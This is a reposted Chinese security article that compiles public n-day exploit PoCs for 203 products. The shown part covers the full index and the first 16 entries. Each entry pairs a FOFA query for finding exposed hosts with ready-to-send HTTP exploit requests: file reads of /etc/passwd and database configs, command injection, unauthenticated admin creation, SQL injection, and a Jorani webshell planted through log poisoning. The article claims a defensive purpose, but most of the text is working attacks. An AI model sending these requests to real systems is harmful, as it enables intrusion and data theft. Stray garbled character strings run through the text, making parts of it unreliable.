互联网公开漏洞整理202309-202406--转载

admin

互联网公开漏洞整理202309-202406
  p  O+ j3 u0 _4 l) j道一安全 2024-06-05 07:41 北京
以下文章来源于网络安全新视界 ，作者网络安全新视界

0 X. a9 K7 H  r+ k( d9 G% x5 r  N; ^发文目的：Nday漏洞的利用是安全攻防占比较大的攻击方式，希望文章对大家的防守提供一定帮助。防守同学可根据本文内容进行风险排查。
4 J2 F0 Q& ?' y% c! F% k
漏洞来源：文章涵盖2023年9月至2024年5月国内外公开的高危害漏洞POC共203个，均来自于互联网其他公众号或者网站，由网络安全新视界团队进行整理发布。
- e# ]- E/ u' t( k
" o# v1 h) G- }- D, o; D9 q安全补丁：所有的漏洞均为公开漏洞，补丁或漏洞修复方案请联系产品厂家。
2 q7 g1 w# h# {) y$ w
文章内容：因受篇幅限制，个别漏洞POC由于过长，统一使用PAYLOAD字样代替，如需完整POC请自行搜索。

合法权益：如文章内容侵犯某方合法权益，请后台联系网络安全新视界团队对相关内容进行删除。
# \' z+ Y1 @5 L  ~" R9 X5 N
6 `0 G  |0 r$ Y& Y- E- l( Y
声明
7 x" j4 t$ l5 @2 M1 s$ c
, p" I3 M& T/ [" A为简化流程，方便大家翻阅，固不设置“回复再给完整列表”。本文章就是当前最全文章，使用时F12搜索关键词即可。

有需要的可以收藏此文。也可以关注本公众号（网络安全新视界）。
6 d# I' Z/ L0 z; R% f

, n$ W  s8 b7 Z! D$ D) Q
: F- C6 h* ^; J, u目录

01

1. StarRocks MPP数据库未授权访问
2. Casdoor系统static任意文件读取
6 A% n+ d& X+ p8 \* Z: o$ D3. EasyCVR智能边缘网关 userlist 信息泄漏
4. EasyCVR视频管理平台存在任意用户添加
- c7 C* j1 Z" k! _7 E- X6 W5. NUUO NVR 视频存储管理设备远程命令执行
" V, U) P6 q! M( _* {5 ~6. 深信服 NGAF 任意文件读取
7. 鸿运主动安全监控云平台任意文件下载
8. 斐讯 Phicomm 路由器RCE
9. 稻壳CMS keyword 未授权SQL注入
10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
12. Jorani < 1.0.2 远程命令执行
/ W, ^2 _% L. G0 i' s% e13. 红帆iOffice ioFileDown任意文件读取
; O3 ^: Q5 Y# c& P& M14. 华夏ERP（jshERP）敏感信息泄露
15. 华夏ERP getAllList信息泄露
- [$ N4 }7 V: K: j16. 红帆HFOffice医微云SQL注入
17. 大华 DSS itcBulletin SQL 注入
. x& m. ^/ A4 c( R# a0 R4 O( w18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
20. 大华ICC智能物联综合管理平台任意文件读取
: l6 L4 G, H, B% Z7 X  [; d' Y21. 大华ICC智能物联综合管理平台random远程代码执行
' O4 [2 @3 a! o. z' \: V/ j22. 大华ICC智能物联综合管理平台 log4j远程代码执行
4 }4 A- L; x6 o% Z23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
24. 用友NC 6.5 accept.jsp任意文件上传
25. 用友NC registerServlet JNDI 远程代码执行
26. 用友NC linkVoucher SQL注入
27. 用友 NC showcontent SQL注入
8 L( s) v& N2 R1 {1 U9 H$ w28. 用友NC grouptemplet 任意文件上传
29. 用友NC down/bill SQL注入
30. 用友NC importPml SQL注入
31. 用友NC runStateServlet SQL注入
32. 用友NC complainbilldetail SQL注入
33. 用友NC downTax/download SQL注入
34. 用友NC warningDetailInfo接口SQL注入
! Q! m2 g2 T& S& a; N35. 用友NC-Cloud importhttpscer任意文件上传
+ }! k. N$ v9 a+ ?  d36. 用友NC-Cloud soapFormat XXE
! l& V3 q& o, t9 E37. 用友NC-Cloud IUpdateService XXE
+ Z! j4 O# N& |: `. V& X38. 用友U8 Cloud smartweb2.RPC.d XXE
; `: d) s! f$ l* g5 p5 c% B' g39. 用友U8 Cloud RegisterServlet SQL注入
40. 用友U8-Cloud XChangeServlet XXE
0 i, ^7 }5 u4 E1 l' @2 C7 @4 T41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
42. 用友GRP-U8 SmartUpload01 文件上传
43. 用友GRP-U8 userInfoWeb SQL注入致RCE
44. 用友GRP-U8 bx_dj_check.jsp SQL注入
) T" d) J. V/ {7 o- A5 I45. 用友GRP-U8 ufgovbank XXE
" v; S2 L" i8 M7 |* m: j. P0 m1 k2 k46. 用友GRP-U8 sqcxIndex.jsp SQL注入
47. 用友GRP A++Cloud 政府财务云 任意文件读取
* v' G" d- @3 j: v9 x! f6 D48. 用友U8 CRM swfupload 任意文件上传
49. 用友U8 CRM系统uploadfile.php接口任意文件上传
50. QDocs Smart School 6.4.1 filterRecords SQL注入
+ b" b' s  O# L0 L) Y51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
52. 泛微E-Office json_common.php sql注入
53. 迪普 DPTech VPN Service 任意文件上传
54. 畅捷通T+ getstorewarehousebystore 远程代码执行
55. 畅捷通T+ getdecallusers信息泄露
/ M- X" X! A$ F' I8 h: T9 b$ x56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
57. 畅捷通T+ keyEdit.aspx SQL注入
& l2 o& g, G% J9 V/ b% ^58. 畅捷通T+ KeyInfoList.aspx sql注入
59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
! B% }! k4 e$ q% d! P- e9 ~! ^60. 百卓Smart管理平台 importexport.php SQL注入
61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
& H' Q) q8 A: u2 ~; Q62. IP-guard WebServer 远程命令执行
63. IP-guard WebServer任意文件读取
/ H3 \. r( x! \/ r- Q7 J& o/ E64. 捷诚管理信息系统CWSFinanceCommon SQL注入
2 s) {; W$ H" H: t* `/ A) {65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
% `; M! k- C" q, K5 h1 w67. 万户ezOFFICE wpsservlet任意文件上传
68. 万户ezOFFICE wf_printnum.jsp SQL注入
! P; O0 t8 k; a: r69. 万户 ezOFFICE contract_gd.jsp SQL注入
70. 万户ezEIP success 命令执行
71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
72. 致远OA getAjaxDataServlet XXE
73. GeoServer wms远程代码执行
, h! ^3 E# q4 ?+ X74. 致远M3-server 6_1sp1 反序列化RCE
75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
76. 新开普掌上校园服务管理平台service.action远程命令执行
77. F22服装管理软件系统UploadHandler.ashx任意文件上传
0 m; ?0 m- R  c4 t/ z78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
79. BYTEVALUE 百为流控路由器远程命令执行
5 S6 Q$ e$ n# `9 a) Y80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
  A4 a2 t) ?1 K" N82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
83. JeecgBoot testConnection 远程命令执行
84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
85. SysAid On-premise< 23.3.36远程代码执行
% d, J% e  a5 a2 r86. 日本tosei自助洗衣机RCE
. r6 A" D8 I( q$ S; k* v87. 安恒明御安全网关aaa_local_web_preview文件上传
5 }: K  ?( O0 q3 `6 p88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
89. 致远互联FE协作办公平台editflow_manager存在sql注入
. \0 r. [! r; O6 g90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
0 d6 |) M7 K6 o# `, M# g! n3 m4 _& c92. 海康威视运行管理中心session命令执行
$ o) h; M; Z  M7 j93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
0 @7 v) ?. a, S, m! Y94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
$ s4 S. j# P. X5 \96. Apache OFBiz  18.12.11 groovy 远程代码执行
97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
98. SpiderFlow爬虫平台远程命令执行
5 @/ Z- F9 R, N+ M99. Ncast盈可视高清智能录播系统busiFacade RCE
100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
101. ivanti policy secure-22.6命令注入
102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
103. Ivanti Pulse Connect Secure VPN XXE
7 H* o: c# o4 U+ K* h4 c104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
105. SpringBlade v3.2.0 export-user SQL 注入
# o1 `+ Q- `: u1 q+ S% g106. SpringBlade dict-biz/list SQL 注入
107. SpringBlade tenant/list SQL 注入
108. D-Tale 3.9.0 SSRF
109. Jenkins CLI 任意文件读取
110. Goanywhere MFT 未授权创建管理员
111. WordPress Plugin HTML5 Video Player SQL注入
3 T3 D7 C: {' O% t112. WordPress Plugin NotificationX SQL 注入
" V5 n% S7 c7 m- h6 M113. WordPress Automatic 插件任意文件下载和SSRF
  R( f2 H8 p- u% v9 `9 C114. WordPress MasterStudy LMS插件 SQL注入
6 A, h* ~$ ~$ H1 j+ g- {115. WordPress Bricks Builder <= 1.9.6 RCE
9 S2 ?1 O4 N  g116. wordpress js-support-ticket文件上传
117. WordPress LayerSlider插件SQL注入
118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
- i2 x% m* W3 b$ b119. 北京百绰智能S20后台sysmanageajax.php sql注入
120. 北京百绰智能S40管理平台导入web.php任意文件上传
121. 北京百绰智能S42管理平台userattestation.php任意文件上传
* O& _0 m% h/ A2 f/ E1 ~122. 北京百绰智能s200管理平台/importexport.php sql注入
123. Atlassian Confluence 模板注入代码执行
; l) O& I( ~  t% V7 k+ w9 ~% F124. 湖南建研工程质量检测系统任意文件上传
' o  o9 ?9 i% k! a- o125. ConnectWise ScreenConnect身份验证绕过
7 f9 g5 ^9 n# E126. Aiohttp 路径遍历
127. 广联达Linkworks DataExchange.ashx XXE
! n! Z0 F* C' V9 N. F3 q: `3 ^# I) x128. Adobe ColdFusion 反序列化
4 d3 a$ _' q7 Z6 w/ J129. Adobe ColdFusion 任意文件读取
# t7 ]4 o% g4 h2 W% o4 S9 M( B5 d) E2 Z130. Laykefu客服系统任意文件上传
131. Mini-Tmall <=20231017 SQL注入
132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
133. H5 云商城 file.php 文件上传
134. 网康NS-ASG应用安全网关index.php sql注入
0 D1 J1 a) F( t2 B- Y. @135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
136. NextChat cors SSRF
137. 福建科立迅通信指挥调度平台down_file.php sql注入
138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
139. 福建科立讯通信指挥调度平台editemedia.php sql注入
140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
9 `8 f( v( Y  C! U4 W7 L141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
" u3 F5 {1 w4 k9 J' b. f142. CMSV6车辆监控平台系统中存在弱密码
143. Netis WF2780 v2.1.40144 远程命令执行
144. D-Link nas_sharing.cgi 命令注入
145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
146. MajorDoMo thumb.php 未授权远程代码执行
147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
148. CrushFTP 认证绕过模板注入
& c5 V6 O7 V. G$ P8 N$ `149. AJ-Report开源数据大屏存在远程命令执行
) I: M' Q$ y7 o: ^4 u6 K* ^6 M0 D# b' S150. AJ-Report 1.4.0 认证绕过与远程代码执行
0 z# G( ?# \8 o% g151. AJ-Report 1.4.1 pageList sql注入
1 \0 \2 m) h$ h1 [152. Progress Kemp LoadMaster 远程命令执行
$ F. \! W; X- z; l; l153. gradio任意文件读取
154. 天维尔消防救援作战调度平台 SQL注入
155. 六零导航页 file.php 任意文件上传
156. TBK DVR-4104/DVR-4216 操作系统命令注入
157. 美特CRM upload.jsp 任意文件上传
% s( \% @$ N1 [, Z- V* F158. Mura-CMS-processAsyncObject存在SQL注入
/ D( [6 `- ~! ]1 Q1 m/ ~  }( [159. 英飞达医学影像存档与通信系统 WebJobUpload 任意文件上传
160. Sonatype Nexus Repository 3目录遍历与文件读取
+ b5 p9 v; {7 Y) F7 b/ G161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
; y( N% e2 M3 K163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
165. OrangeHRM 3.3.3 SQL 注入
166. 中成科信票务管理平台SeatMapHandler SQL注入
% T: R( ]5 Y/ ?1 y8 q' G167. 精益价值管理系统 DownLoad.aspx任意文件读取
168. 宏景EHR OutputCode 任意文件读取
169. 宏景EHR downlawbase SQL注入
8 Z' ~: t$ `4 h( o/ T! U- M+ X170. 宏景EHR DisplayExcelCustomReport 任意文件读取
" u8 P, D+ G3 Z171. 通天星CMSV6车载定位监控平台 SQL注入
172. DT-高清车牌识别摄像机任意文件读取
173. Check Point 安全网关任意文件读取
: [1 y% I' H5 \# ~6 ~' B+ w- Y174. 金和OA C6 FileDownLoad.aspx 任意文件读取
175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
176. 电信网关配置管理系统 rewrite.php 文件上传
177. H3C路由器敏感信息泄露
7 S  G2 X  \5 b9 M178. H3C校园网自助服务系统-flexfileupload-任意文件上传
179. 建文工程管理系统存在任意文件读取
- S( I; k+ Y! |$ o180. 帮管客 CRM jiliyu SQL注入
181. 润申科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
: [5 `9 G  ?, Y) l3 A+ L183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
: J! Q5 L- K7 X% z/ i! T7 c184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
185. 瑞友天翼应用虚拟化系统SQL注入
6 K1 m" {6 r- A' H; w186. F-logic DataCube3 SQL注入
& U1 G/ {0 j! Q187. Mura CMS processAsyncObject SQL注入
6 {/ J8 W+ B+ r/ L2 f188. 叁体-佳会视频会议 attachment 任意文件读取
9 ?- J% `, t( p, Z; V% v( r189. 蓝网科技临床浏览系统 deleteStudy SQL注入
7 M" B8 S+ q$ d& k5 ~, \190. 短视频矩阵营销系统 poihuoqu 任意文件读取
191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
, _. [8 }3 v9 o& J8 H7 L192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
( F- k( q& h8 m0 V3 G/ _194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
, T0 T1 ?2 C& R1 F, D# M196. 河南省风速科技统一认证平台密码重置
6 ]. ?) n8 S. [! X197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
198.  阿里云盘 WebDAV 命令注入
1 n; P9 P6 c: k- s) e, ]199. cockpit系统assetsmanager_upload接口 文件上传
200. SeaCMS海洋影视管理系统dmku SQL注入
& `% o: b# P, v( m201. 方正全媒体新闻采编系统 binary SQL注入
202. 微擎系统 AccountEdit任意文件上传
203. 红海云EHR PtFjk 文件上传

POC列表
+ S" Z; L; o# \% x5 r- A; Q
02
& U1 n. b8 `7 [/ C
. l6 W3 r: |: {# C' P2 s* @9 i1. StarRocks MPP数据库未授权访问
FOFA ：title="StarRocks"
GET /mem_tracker HTTP/1.1
Host: URL
, S1 E2 |1 B8 M$ L& @0 {0 U$ _

6 q+ F8 _/ ]+ e4 Y+ W2. Casdoor系统static任意文件读取
FOFA ：title="Casdoor"
GET /static/../../../../../../../../../../../etc/passwd HTTP/1.1
: z6 {" _# z1 |# lHost: xx.xx.xx.xx:9999
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
9 w1 m  b( q6 W5 h( ?Connection: close
( |9 a6 b5 K0 |/ @5 C4 L0 i! IAccept: */*
Accept-Language: en
Accept-Encoding: gzip


3. EasyCVR智能边缘网关 userlist 信息泄漏
FOFA ：title="EasyCVR"
GET /api/v1/userlist?pageindex=0&pagesize=10 HTTP/1.1
Host: xx.xx.xx.xx
9 u7 a  U6 \) V( ^3 r- [
* N& }9 Z# r" X
4. EasyCVR视频管理平台存在任意用户添加
FOFA ：title="EasyCVR"
  w) D/ k% t3 ~" i, Y
9 a( M* N: m4 i  Jpassword更改为自己的密码md5
POST /api/v1/adduser HTTP/1.1
Host: your-ip
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
0 D; S3 G: G# n5 \
name=admin888&username=admin888&password=0e7517141fb53f21ee439b355b5a1d0a&roleid=1


( ~1 Y- M6 K/ J2 K/ C, j! e: x5. NUUO NVR 视频存储管理设备远程命令执行
2 i8 R7 q; _% r6 MFOFA：title="Network Video Recorder Login"
GET /__debugging_center_utils___.php?log=;whoami HTTP/1.1
Host: xx.xx.xx.xx
, ], X( X6 n1 F" r4 a0 N2 Z7 d: j) Y
$ E: ^2 C3 e: }
6. 深信服 NGAF 任意文件读取
& b; p9 y  ]  `; bFOFA：title="SANGFOR | NGAF"
1 Z' Y+ W! W! Q! s$ p8 OGET /svpn_html/loadfile.php?file=/etc/./passwd HTTP/1.1
% g* L3 V& }  J  [Host:
# d& T0 H& Q# i7 P- I( F8 I
7 @6 R. s! E! g0 V& ~
7. 鸿运主动安全监控云平台任意文件下载
FOFA：body="./open/webApi.html"
& U0 s; n& i- @. R: G0 D8 EGET /808gps/MobileAction_downLoad.action?path=/WEB-INF/classes/config/jdbc.properties HTTP/1.1
/ Y7 N; ~3 y& V4 T$ |8 e/ ]Host:
8 V$ ?2 U9 }, O2 h$ w+ ~
, ?, k- z3 k8 f. V
. k# o. x( F9 b: ?- }8. 斐讯 Phicomm 路由器RCE
' ~# I. X8 \% }FOFA：icon_hash="-1344736688"
( t1 E6 T0 Y7 }9 e默认账号admin登录后台后，执行操作
POST /cgi-bin/luci/;stok=bcd6ccd2fa5d212ce6431ca22f10b96d/admin/wifireboot HTTP/1.1
( f+ K$ ]9 V7 \Host: x.x.x.x
( C0 i0 p( {; P" {0 u3 U. BCookie: sysauth=第一步登录获取的cookie
! _$ L1 V- w# J: uContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryxbgjoytz
; o) J9 {8 y# r- o$ pUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36

6 {8 d% o2 G/ h6 T------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="wifiRebootEnablestatus"

9 o2 s. B, C, `' B5 z* G7 {$ g2 J%s
------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="wifiRebootrange"
. [: R6 b7 }2 Q# l7 y* d
12:00; id;
------WebKitFormBoundaryxbgjoytz
* {0 ]' b: }6 F; l, e# U( u% k2 Y$ |Content-Disposition: form-data; name="wifiRebootendrange"

: `8 A5 E/ }; h# K7 ?& V%s:
------WebKitFormBoundaryxbgjoytz
) d) x) K9 ^0 W3 F" U7 v! EContent-Disposition: form-data; name="cururl2"
9 c7 ^1 ^8 \+ |3 U' M5 [- I! u

: h/ E; t6 _0 X- B0 ~------WebKitFormBoundaryxbgjoytz--


/ P8 `4 H( J3 |1 O9. 稻壳CMS keyword 未授权SQL注入
FOFA：app="Doccms"
GET /search/index.php?keyword=1%25%32%37%25%32%30%25%36%31%25%36%65%25%36%34%25%32%30%25%32%38%25%36%35%25%37%38%25%37%34%25%37%32%25%36%31%25%36%33%25%37%34%25%37%36%25%36%31%25%36%63%25%37%35%25%36%35%25%32%38%25%33%31%25%32%63%25%36%33%25%36%66%25%36%65%25%36%33%25%36%31%25%37%34%25%32%38%25%33%30%25%37%38%25%33%37%25%36%35%25%32%63%25%32%38%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%37%35%25%37%33%25%36%35%25%37%32%25%32%38%25%32%39%25%32%39%25%32%63%25%33%30%25%37%38%25%33%37%25%36%35%25%32%39%25%32%39%25%32%39%25%32%33 HTTP/1.1
" d. B" e$ ]  ^* r& n/ Z- DHost: x.x.x.x


payload为下列语句的二次Url编码

/ u* k$ P$ B- O) t8 `1 }$ m: R' and (extractvalue(1,concat(0x7e,(select user()),0x7e)))#

2 H. |) ]- C* b10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
1 r' [/ t. c+ n' e# b$ \FOFA：icon_hash="953405444"
/ Z# o/ g5 Q; p( s' D
3 E. M; k7 G$ T' n' n! _7 O文件上传后响应中包含上传文件的路径
( C4 e/ G) v2 O* ^& m" W. {POST /eis/service/api.aspx?action=saveImg HTTP/1.1
2 e! ^) b$ n& r( m. C" CHost: x.x.x.x:xx
0 B6 y5 C) T9 O$ v. ~; K5 \User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
% ]2 a8 c- ~( y  D- d3 C8 XContent-Length: 197
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
1 X7 S* H! K/ j/ w& @1 kAccept-Encoding: gzip, deflate
1 G9 y1 k; w) T: w$ X+ }) aAccept-Language: zh-CN,zh;q=0.9
Connection: close
5 I7 i' N  J# C. I! o7 V2 j9 dContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryxdgaqmqu
+ U; h6 D( n0 h
------WebKitFormBoundaryxdgaqmqu
Content-Disposition: form-data; name="file"filename="icfitnya.txt"
Content-Type: text/html
+ m) e, V7 [! J% a
jmnqjfdsupxgfidopeixbgsxbf
------WebKitFormBoundaryxdgaqmqu--

% e7 R$ _: [' f4 V# ]
0 |, @# R, `3 ]" q11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
4 V; r  w9 ~+ ?9 ^6 l& s/ }FOFA：icon_hash="953405444" || app="Landray-EIS智慧协同平台"
) h7 }: _" p$ ^) i6 cGET /dossier/doc_fileedit_word.aspx?recordid=1'%20and%201=@@version--+&edittype=1,1 HTTP/1.1
Host: 127.0.0.1
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
% q: A6 ?3 y+ `8 `User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close


12. Jorani < 1.0.2 远程命令执行
FOFA：title="Jorani"
8 ?( L2 f6 }) E" A* I/ Y% s- ]4 ?第一步先拿到cookie
GET /session/login HTTP/1.1
Host: 192.168.190.30
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
Connection: close
4 P( C3 i: \6 [9 D( nAccept-Encoding: gzip
7 |8 m: H2 ]- p( x4 H" c) ^
3 ?7 |; b; A+ {+ w5 D
响应中csrf_cookie_jorani用于后续请求
! T( y+ i9 p( jHTTP/1.1 200 OK
% ]& c5 e% ]: Z8 ?" ~Connection: close
& l6 V$ F* B# c& n- n, n9 bCache-Control: no-store, no-cache, must-revalidate
: J( m7 g+ _% _3 z5 L4 ^& cContent-Type: text/html; charset=UTF-8
& L: {% f5 q7 J* }4 TDate: Tue, 24 Oct 2023 09:34:28 GMT
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Last-Modified: Tue, 24 Oct 2023 09:34:28 GMT
# i, M: g) l( s+ S7 y- U' UPragma: no-cache
* s) X6 y$ {% |* t% |" _Server: Apache/2.4.54 (Debian)
Set-Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/
! i1 \3 e+ c  R- o6 a, o; hSet-Cookie: jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/; HttpOnly
Vary: Accept-Encoding
* T1 }6 ]+ d( p: ?
, K2 _+ j0 m2 y3 C8 V& z. c5 p
POST请求，执行函数并进行base64编码
POST /session/login HTTP/1.1
Host: 192.168.190.30
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
7 \0 ]4 \% b7 V  q3 p2 mConnection: close
6 c' E& O/ S$ p  _9 B$ E; vContent-Length: 252
% ?6 f% f$ O7 ]. a( ?7 MContent-Type: application/x-www-form-urlencoded
/ |+ Q1 A3 X0 _- ~* R2 x  ^/ D% JCookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
Accept-Encoding: gzip

$ X( l' f2 R) vcsrf_test_jorani=6ca560f2b0baf3cda87c818a4a15dc77&last_page=session%2Flogin&language=..%2F..%2Fapplication%2Flogs&login=<?php if(isset($_SERVER['HTTP_K1SYJPMHLU4Z'])){system(base64_decode($_SERVER['HTTP_K1SYJPMHLU4Z']));} ?>&CipheredValue=DummyPasswor
( w, I0 @. P- R& }
/ L! N2 D# v5 j5 `1 u, {7 D

! g+ j( A1 H8 u* t+ |3 c8 M( H% ]4 f向靶场发送如下请求，执行id命令，请求头中的ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=是命令base64编码后的字符串
GET /pages/view/log-2023-10-24 HTTP/1.1
7 X6 e+ @! C$ I$ o% fHost: 192.168.190.30
7 L1 O, Y  u# S: E3 hUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
K1SYJPMHLU4Z: ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=
/ j" P' o5 ?  |X-REQUESTED-WITH: XMLHttpRequest
Accept-Encoding: gzip
; G& M7 Y  m. C6 o$ l4 q  [, Q/ U
, z; ?, J/ M& f+ H( M
13. 红帆iOffice ioFileDown任意文件读取
2 Q' K& n/ ?! j' N* ~FOFA：app="红帆-ioffice"
GET /ioffice/prg/interface/ioFileDown.aspx?sFilePath=c:/windows/win.ini HTTP/1.1
. i( S  ?( o0 e8 hHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
, A) D9 K' \+ j& ?9 }# w9 c1 xConnection: close
Accept: */*
Accept-Encoding: gzip
* ]3 g- D# \" N9 ~- V" x# n6 x5 Y

" z  o) i4 I2 x14. 华夏ERP（jshERP）敏感信息泄露
FOFA：body="jshERP-boot"
8 s1 P2 o, |! ]; S& u$ G0 x泄露内容包括用户名密码
GET /jshERP-boot/user/getAllList;.ico HTTP/1.1
Host: x.x.x.x
) ~6 p1 G4 |4 _  s! [User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
, z- `- a9 j/ c$ N8 q# E5 U! q5 [Accept-Encoding: gzip

+ p8 b* q' x* y8 J0 o) E5 m$ \
  @) I: [- j& p" u) D15. 华夏ERP getAllList信息泄露
( w0 [+ c# ]. I  }# v* w8 i# b- @CVE-2024-0490
FOFA：body="jshERP-boot"
泄露内容包括用户名密码
- Y3 G1 |# y+ jGET /jshERP-boot/user/a.ico/../getAllList HTTP/1.1
Host: 192.168.40.130:100
1 f9 c  ^& ~* ~+ r; ]! o* rUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
Connection: close
Accept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
3 z: d5 j- I& V% i& e2 {Accept-Language: en
& o1 z+ m: m+ b+ Y& zsec-ch-ua-platform: Windows
Accept-Encoding: gzip
6 ~' F& \( W5 F1 Y5 i( i

1 L8 u) Z! ?6 ^$ X16.  红帆HFOffice医微云SQL注入
1 z: j( y/ U1 U6 j+ d" l5 fFOFA：title="HFOffice"
% m( J$ s3 R& @( a7 U) s# `8 Rpoc中调用函数计算1234的md5值
- Q. Z1 S/ G$ F6 @% @, e- ~! v9 hGET /api/switch-value/list?sorts=%5B%7B%22Field%22:%221-CONVERT(VARCHAR(32),%20HASHBYTES(%27MD5%27,%20%271234%27),%202);%22%7D%5D&conditions=%5B%5D&_ZQA_ID=4dc296c6c69905a7 HTTP/1.1
Host: x.x.x.x
7 Y9 K' Z: b0 ^: `5 k! EUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
Connection: close
Accept: */*
% t$ {9 K1 P. D% z1 @Accept-Language: en
, M) t6 h& l. p( u# d" gAccept-Encoding: gzip
